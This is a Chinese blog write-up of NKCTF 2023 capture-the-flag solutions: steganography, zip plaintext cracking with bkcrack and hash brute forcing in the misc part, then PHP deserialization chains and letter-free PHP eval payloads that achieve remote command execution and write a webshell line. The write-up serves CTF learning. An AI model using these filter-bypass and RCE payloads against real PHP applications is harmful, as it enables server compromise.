NKCTF 2023-misc全解(有脚本,有详解)
Posted 路baby
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了NKCTF 2023-misc全解(有脚本,有详解)相关的知识,希望对你有一定的参考价值。
目录
misc题目附件连接
链接:https://pan.baidu.com/s/1Lnu3HwyGhU1Ba2EK7W9K_A?pwd=lulu
提取码:lulu
--来自百度网盘超级会员V3的分享
前言
前几天打了nkctf ,因为自己也是主打misc,顺便也复现一遍,
一点自己的拙见,各位师傅见笑了
感谢各位读者,对我的支持( •̀ ω •́ )y 有什么问题和建议可以私聊我
hard-misc
得到flag
NKCTFwtk2023Oo0oImcoM1Ng!23555647
NKCTF2023问卷调查
Blue
下载附件 得到如下三个文件
Vmdk ovf格式 一看就是虚拟机格式
那我们第一反应肯定使用虚拟机VMaware打开
直接点击ovf文件直接挂载就可以了
挂载成功之后如上图
我会发现有两个登录用户
但是无论点击哪个都需要密码的
这时候这种方法就不可用了 我们要及时止损
经验丰富的人这时候会想到另外两种挂载方式
这里我就不一一展示了 我拿第一个举例DiskGenius
挂载之后 我们随便打开一个文件看看 会发现如下图提示
再找找
得到flag
NKCTFwE1come_to_NKCTF20233
THMaster
游戏题 不细讲
找东方wiki的修改器
thprac.v2.2.1.2.exe
进入练习模式前改分,进入
提示解密了,在replay看到了叫flag的记录
在文件里,用010打开,在文件末
easy_bmp
附件下载
不用想就知道这个压缩包需要解压密码
果然 那后面的两个图片就是解压密码
一个height 一个width
很难不让人先想到一个高度,一个宽度
那就先把height.bmp先拖010里
直接改高度
保存得到下图
试了一下发现不行 那肯定是密码的一部分
接下来我们想办法恢复width.bmp的宽
这里如果在010里一个一个去试的话不好试
这里我们提供两种解法
方法一
宽要根据bmp性质算一下,因为是32位深,所以1589466/4/283=1404
所以图片的宽为1404 直接拖进010里改就行
方法二
我们直接上脚本(#爆破bmp的宽)
import struct
import zlib
f = open('misc31.bmp','rb')
c = f.read()
width = c[18:22]
height = c[22:26]
for i in range(900,1500):
f1 = open('bpout'+str(i)+'.bmp','wb')
img = c[:18]+struct.pack('>i',i)[::-1]+c[22:]
f1.write(img)
f1.close()
最后无论那种方法都可以得到
总和得到密码
BMP_Height_width_easy
解压得到图片 还是一个bmp格式的
八成还是改长宽高
最简单的方法就是拖010里 自己调试
当然长宽均被设置为 1 的 bmp 图片,由于颜色通道是灰度而不是 RGB,数据大小为 129600 Bytes,于是将图片长宽均设置为 360 并保存
保存得到二维码
得到flag
NKCTFeab1291e-9e37-4ff1-b76d-f1af63eaad43
三体
挺简单的题,不要想复杂
下载附件只有一张图片 图片挺大呀 看的我眼花
那就正常思路先走一下
010进一下 看一下格式
Stegsolve再进一下 看看有什么信息
但很遗憾没有什么特别的
那下一步怎么办
进kali 使用zsteg 一把梭
zsteg 三体.bmp -a
这一看就知道了吧 明显是flag反过来了
先到出来
zsteg -E 'b8,b,lsb,xY' 三体.bmp >1.txt
就直接使用string查看字符串 关键字
综合得到flag
NKCTF3d77dc1a37b2d1ebf489c973f554ea10
easy_rgb
下载附件 里面有连个压缩包
Rgb需要密码 所以我们只能从key下手
打开key发现一堆散乱的图片碎片
那不用想 拼图
方法一
如果有Montage+gaps的环境
Montage+gaps拼图得到key
montage *.png -tile 30x6 -geometry +0+0 flag_tmp.pnggaps --image flag_tmp.png --size 125 --save#
说明一下参数
30x6和125#-tile:设置每行每列的原始图片数量,
30x6 表示拼图的宽30张 高6张,这个要结合gaps多尝试几种不同组合才能得到正确的尺寸。#--size: 这里每张图片为125像素
方法二
如果没Montage+gaps的环境也可以
我们仔细观察会发现只有几个图片里有 字符的
我们就把他们单独挑出来 也不多
最后在PS拼起来就可以了
得到密码
NKCTF2023
那我们继续
解压rgb.zip
里面有三个txt文件
rgb呀很熟悉呀 放一起看看
我们仔细观察
会发现他是把一个文件的RGB三个数值单独提取出来
所以我们要再把他们 合在一起
在010里创建个十六进制文本
我们按rgb的顺序一位一位的依次粘贴到010里
要么我们就使用脚本
# 读取字节
file1 = open("r.txt", "rb")
file2 = open("g.txt", "rb")
file3 = open("b.txt", "rb")
# 写入字节
p = open("decode.txt", "wb")
data = []
# 循环1669次,每次依文件顺序读取
for a in range(149):
# 设定每次往后读取一个字节
i = file1.read(1)
data.append(i)
i = file2.read(1)
data.append(i)
i = file3.read(1)
data.append(i)
for i in data:
p.write(i)
得到原格式
然后复制
再010里粘贴自十六进制
保存为zip文件
得到一个flag.txt文件
压缩包末尾提示 AES-128
这是AES加密 加上之前得到的密钥
在线网站
得到flag
NKCTF603fcdfc-652b-40e4-90cf-f27c2edc2d9f
easy_word
压缩包里有文档 但文档加密
但有提示
小明这个笨蛋,给文档设置了一个密码,但是他自己却忘记了密码,他知道以下信息:
1.
密码是数学和小写英语的随机生成的
2.
hash函数:
输出大小 256 bits 内部大小 256 区块大小 512 长度大小 64 字符尺寸 32
3.
密码:h??vO??0 (?号部分为小明已经忘记的位置)
哈希:b75d1224 ... (后面不记得了...)
上脚本
import string
import hashlib
s = 'b75d1224'
chars = string.ascii_letters + string.digits # 构造字符集
print (chars)
for i in chars:
for j in chars:
for k in chars:
for n in chars:
psw = 'h' + i + j + 'vO' + k + n + '0'
sha256 = hashlib.sha256(psw.encode(encoding='utf-8')).hexdigest()
if s ==sha256[0:8]:
print(psw)
得到 密码
h4evOF90
打开文档之后呀
假flag
这样我们先关掉加密
拖到010里查看格式
惊奇的发现是压缩包的格式
二话不说直接改后缀
在里面找到了一个png的图片
KEY:Welcome_to_NKCTF
得到一个密钥
看来肯定是什么隐写
并且用 StegSolve 发现有 LSB 隐藏信息的痕迹
经过多次尝试 发现是cloacked-pixel
工具开源地址
Python2 lsb.py extract image1.png out Welcome_to_NKCTF
运行得到flag
NKCTF dc0684dd-5a57-4d47-b9c0-debed0ef28b9
first spam of rabbit year
里面只有一个txt文件 (做完之后才发现这个题才是套娃)
文本最后是 社会主义核心价值观编码
那就想从你下手
rabbit 又 move
这看样子是个提示呀
接下来只能看看上面的字符了
根据题目提示想到了可能是垃圾邮件解密
在线网址
spammimic - decodespammimic - decodehttps://www.spammimic.com/decode.shtmlspammimic - decode
得到
与佛论禅
在线网站
https://tools.takuron.top/talk-with-buddha/ 密码rabbit(上一个解码得出来的)
&auD5v'<)`hdF6C_*'Jrcqzrh&ZaF>`g^Hr'vuHZJB%~_H5?gu;q)"<rA?sH2IfafKfu=6w_tip:47&13
这一看就是0宽字符
在线网址
Unicode Steganography with Zero-Width Charactershttps://www.mzy0.com/ctftools/zerowidth1
解密得到key:EnoOoO1G
结合结尾的tip:47&13 应该是rot编码
密文是rot47处理,密钥是rot13处理,
解rabbit即可
密文(记得去掉tip:47&13)
U2FsdGVkX19L5uer0YVyC4BKC9U+2um18/wCVNGFw+yqTON0wdn8FjBXQkCpnLDwaLx727z7FleH0
密钥
RabBbB1T
最后使用rabbit解密
得到flag
NKCTFH4Ppy_tH3_Y34r_0f_R4BbBbbbB1tTtTtT
baby_music
里面只要音频
先拖进010里看一下格式
仔细观察会发现
2710和2711 出现这么多次
明显有明显规律
27作为分割,10 11出现
怀疑二进制,11是1 10是0
这就需要我们处理一下
上脚本
def bytes2hex(bytes):
num = len(bytes)
hexstr = u""
for i in range(num):
t = u"%x" % bytes[i]
if len(t) % 2:
hexstr += u""
hexstr += t
return hexstr.upper()
# 读取字节
file1 = open("flag.wav", "rb")
# 写入字节
p = open("flag1.txt", "wb")
data = []
for a in range(20000000):
# 设定每次往后读取一个字节
i = file1.read(2)
i = bytes2hex(i)
if i == '1027':
data.append(b'0')
elif i == '1127':
data.append(b'1')
elif i == '':
break
for i in data:
p.write(i)
运行
运行得到
二进制文本
在010里创建一个十六进制文本,复制刚刚运行得到的,粘贴自二进制
这一看就是一个压缩包的格式
保存加后缀zip
打开一看 还需要密码 但有提示
刚开始还以为还是二进制
后来感觉不像 尝试之后
发现是摩斯密码
0是.
1是-
保存到文本里
使用脚本转换一下
def read_file(filepath):
with open(filepath) as fp:
content=fp.read();
return content
result = read_file('lu1.txt')
result = result.replace(r'0','.')
result = result.replace(r'1','-')
with open('lu2.txt', 'w') as f:
f.write(result)
最后再加上分隔符 / (手敲就可以了)
解码
WELCOMETONKCTF,THEPASSWORDIS16BYTESRANDOMLYGENERATED,ISTHEREABETTERWAYTOUNLOCKTHEZIP?
又是作者的一个小套路
但也是个提示
告诉我们是16位字符
因此肯定没法爆破(除非超强计算机才能在短时间破解)
但是在010里查看时发现zip里面是png,且算法符合明文攻击的前提,因此用bkcrack爆破密钥,得到flag.png:
先创一个png文件头的文件
构造明文头 16字节就可以了
bkcrack.exe -C 1.zip -c flag.png -p flag.out
当然不构造文件头也可以 还快捷
就直接使用这个命令
bkcrack.exe -C 1.zip -c flag.png -x 0 89504E470D0A1A0A0000000D49484452
得到密钥
Keys: 846ad344 02327731 173ff347
然后爆破
bkcrack.exe -C 1.zip -c flag.png -k 846ad344 02327731 173ff347 -d flag1.png
得到图片
就是flag
NKCTFYou_are_very_smart!!
Easymusic
也是只有个音频
根据提示需要找到三个密码
密码一
拖AU里
在音频最前端发现有规律的波形
根据规律就是二进制解密
高波位时1 低波位是0
01110000 01110011 01100100 01000001 00111010 00111000 00110011 00111001 00110111 00111001 00110011 00110110 00110111
因为说过密码是八位数
所以很容易想到ASCLL码
得到
psdA:83979367
密码二
还是在AU里
打开频谱图
拖动滑轮
得到
PsdB:74208645
密码三
音频解码都试过了
那就先看看源文件格式吧
得到
psdC:01374890
拿到三个密码
接下就是解密
这里使用openpuff
打开openpuff 点击unhide
输入三个密码 按顺序
弹出之后
解密成功
打开保存目录
得到
NKCTF52d446a51c6896af878f872e0d748118
Easypic
只有一张图片
打开属性
39MB的大小
里面肯定有东西
直接分离
(之前我还使用kali分离结果什么都没有)
先脱进010里
会发现后面一大半都是另外的
所以提出来 保存
根据提示
我们使用veracrypt进行破译
保存1,
挂载1,密钥文件为NBLOGO.png
按照上面步骤挂载
弹出这个说明加载成功了
返回我的电脑 就会看见多出个磁盘
打开 里面只有一张图片
原本准备进一步分析这张图片却发现 图片里隐隐约约可以看到一些东西
我果断打开ps
但怎么改才清晰呢
我又打开了010
在尾部发现了提示
566*566
打开ps 打开画布大小
得到flag
NKCTF49ce8740502743585C4a44404e62d8f9
加油各位( •̀ ω •́ )y 期待与君再相逢
2023 NKCTF
2023 NKCTF
打了一下 NKCTF 有几个不知道的点 把自己认为值得记录的题写一下
babyphp
<?php
error_reporting(0);
class Welcome
public $name;
public $arg = \'oww!man!!\';
public function __construct()
$this->name = \'ItS SO CREAZY\';
public function __destruct()
if($this->name == \'welcome_to_NKCTF\')
echo $this->arg;
function waf($string)
if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
die("you are bad");
class Happy
public $shell;
public $cmd;
public function __invoke()
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
class Hell0
public $func;
public function __toString()
$function = $this->func;
$function();
if(isset($_GET[\'p\']))
unserialize($_GET[\'p\']);
else
highlight_file(__FILE__);
?>
这里过滤了 f l a g ? *
解法一
这几个字符 这里我们可以直接 把 $shell 赋值为 urldecode 然后 把 $cmd 赋值为 system($_POST[0]);
<?php
error_reporting(0);
class Welcome
public $name;
public $arg = \'oww!man!!\';
public function __construct()
$this->name = \'ItS SO CREAZY\';
public function __destruct()
if($this->name == \'welcome_to_NKCTF\')
echo $this->arg;
function waf($string)
if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
die("you are bad");
class Happy
public $shell;
public $cmd;
public function __invoke()
// phpinfo();
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
class Hell0
public $func;
public function __toString()
// phpinfo();
$function = $this->func;
$function();
$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="urldecode";
$Happy->cmd="system(\\$_POST[0]);";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;
echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');
解法二
还有一种方法是
$Happy->shell="system";
$Happy->cmd="cd /;`more dir`";
解法三
使用 sed 命令 sed 有个新增命令 sed -e 4a\\xxxxxx xxxxx为要新增的内容 4a 是要在第四行 进行插入
但是 4a这里是由a的 所以不可以 但是可以用
sed -n \'1,38p\' index.php > 5.php 然后这里再用 追加写入 >> 来写 system($_POST[0]);
<?php
error_reporting(0);
class Welcome
public $name;
public $arg = \'oww!man!!\';
public function __construct()
$this->name = \'ItS SO CREAZY\';
public function __destruct()
if($this->name == \'welcome_to_NKCTF\')
echo $this->arg;
function waf($string)
if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
die("you are bad");
class Happy
public $shell;
public $cmd;
public function __invoke()
// phpinfo();
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
class Hell0
public $func;
public function __toString()
// phpinfo();
$function = $this->func;
$function();
$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="system";
//$Happy->cmd="sed -n \'1,38p\' index.php > 5.php";
$Happy->cmd="echo \'system(\\$_POST[0]);\' >> 5.php";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;
echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');
解法四
这种解法是在p牛的文章里面提到过
linux 中的 通配符不止只有 * 和 ?还有一种类似于正则的通配符 [!q] 这里代表匹配非q字符
<?php
error_reporting(0);
class Welcome
public $name;
public $arg = \'oww!man!!\';
public function __construct()
$this->name = \'ItS SO CREAZY\';
public function __destruct()
if($this->name == \'welcome_to_NKCTF\')
echo $this->arg;
function waf($string)
if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
die("you are bad");
class Happy
public $shell;
public $cmd;
public function __invoke()
// phpinfo();
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
class Hell0
public $func;
public function __toString()
// phpinfo();
$function = $this->func;
$function();
$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="system";
//$Happy->cmd="sed -n \'1,38p\' index.php > 5.php";
$Happy->cmd="more /[!q][!q][!q][!q]";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;
echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');
hardphp
<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'NKCTF\']))
$NK = $_POST[\'NKCTF\'];
if (is_string($NK))
if (!preg_match("/[a-zA-Z0-9@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$NK) && strlen($NK) < 105)
eval($NK);
else
echo("hacker!!!");
else
phpinfo();
?>
经典的 无数字字母 rce
通过 ctfshow 的rce大挑战来总结一下
rce1
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST[\'code\'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>
这里把 ( . 过滤掉了 然后 可以用php中的反引号来执行系统命令
这里要先闭合 之前的php标签 在使用 php短标签 当然也可以使用echo
dir;
rce2
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'ctf_show\']))
$ctfshow = $_POST[\'ctf_show\'];
if (is_string($ctfshow))
if (!preg_match("/[a-zA-Z0-9@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
就跟我们平常使用的paylaod
<?php
$_=[].[];
$_=$_[\'\'];
$_++;
$_++;
$_++;
$_++;
$__=$_;
$_++;
$_++;
$__=$_.$__;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$__=$__.$_;
$\'_\'.$__[_]($\'_\'.$__[__]);
构造出GET 然后拼接 $ 和 _ 得到 $GET(_)($GET[__]); 用到不同的是 它禁用了
所有我们就不能通过这种 $ _ GET 拼接的方式了 这里不使用 的话还用 另一种拼接方式
_GET 然后再前面直接加$ 就可以得到$GET 然后拼接[_]
然后用 () 包裹住 实例
($$___[_])($$___[__]);
完整的poc
<?php
$_=[].[];$__=\'\';
$_=$_[\'\'];
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_;
$_=++$_;
$_=++$_;
$__=$_.$__;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_;
$___=\'_\';
$___.=$__;
($$___[_])($$___[__]);
总结一下 如果没有 的话就可以 先 拼接出_GET
然后直接加$ 就可以了 要 url编码传过去
rce3
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'ctf_show\']))
$ctfshow = $_POST[\'ctf_show\'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105)
if (!preg_match("/[a-zA-Z2-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
这次加了 长度限制 然后又 过滤了 更多的字符
$ ( ) + , . / 0 1 ; = [ ] _
过滤了 引号 那如何 获取 A 字符呢 但是这里我们可以使用 01 了
这里可以使用 0 和1 先 看几个知识点
php在进行计算的时候 认为结果是无限大的时候他会返回结果是INF (infinite)
举例 echo (1/0) 就会输出INF
PHP进行计算的时候认为一个数超出Infinite,那就是: NAN( not-a-number)
这里举个例:echo (a/a); 就会输出NAN
因为这里有允许我们使用01 所以我们可以使用 01 来取上面的东西
这里直接取的话 会返回空 这里可以拼接一个 A就可以 取出来了
取出N的话就可以直接用POST来执行了
<?php
$_=([].[])[0];
$_=($_/$_)[0];
$_=($_/$_.$_)[0];
$_++;
$__=$_.$_++;
$_++;
$_++;
$_++;
$_=_.$__.$_.++$_;
$$_[_]($$_[1]);
<?php
$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);
rce4
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'ctf_show\']))
$ctfshow = $_POST[\'ctf_show\'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84)
if (!preg_match("/[a-zA-Z1-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
先看过滤
$ ( ) + , . / 0 ; = [ ] _
并且限制了 84个字符
<?php
$_=((0/0).[])[0];
$_++; //O
$__=$_.$_++; // $__=PO, 其实这里才是第五题的关键嘿嘿,很多74的就是卡在这
$_++; // Q
$_++; // R
$_++; // S
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);
rce5
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[\'ctf_show\']))
$ctfshow = $_POST[\'ctf_show\'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73)
if (!preg_match("/[a-zA-Z0-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
eval($ctfshow);
else
echo("Are you hacking me AGAIN?");
else
phpinfo();
?>
$ ( ) + , . / ; = [ ] _
限制 73位
这里就用了一些特殊字符了 因为用 __ 会 多几个字符 这里可以使用 不可见字符
$_=(_/_._)[_];$_%2B%2B;$%FA=$_.$_%2B%2B;$_%2B%2B;$_%2B%2B;$_=_.$%FA.%2B%2B$_.%2B%2B$_;$$_[_]($$_[%FA]);&_=system&%FA=whoami
<?php
$_=(_/_._)[_];
$_++;
$%FA=$_.$_++; //这里为PO
$_++;$_++;
$_=_.$%FA.++$_.++$_;
$$_[_]($$_[%FA]);
这个已经完全看不懂了
<?PHP
$_=_(%FA.%FA)[_];//N //本地使用就用(_._._)[_],或者安装了一个扩展gettext
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])
//将拼接放到同一行,真的太厉害了,我只能感叹一句nb
以上是关于NKCTF 2023-misc全解(有脚本,有详解)的主要内容,如果未能解决你的问题,请参考以下文章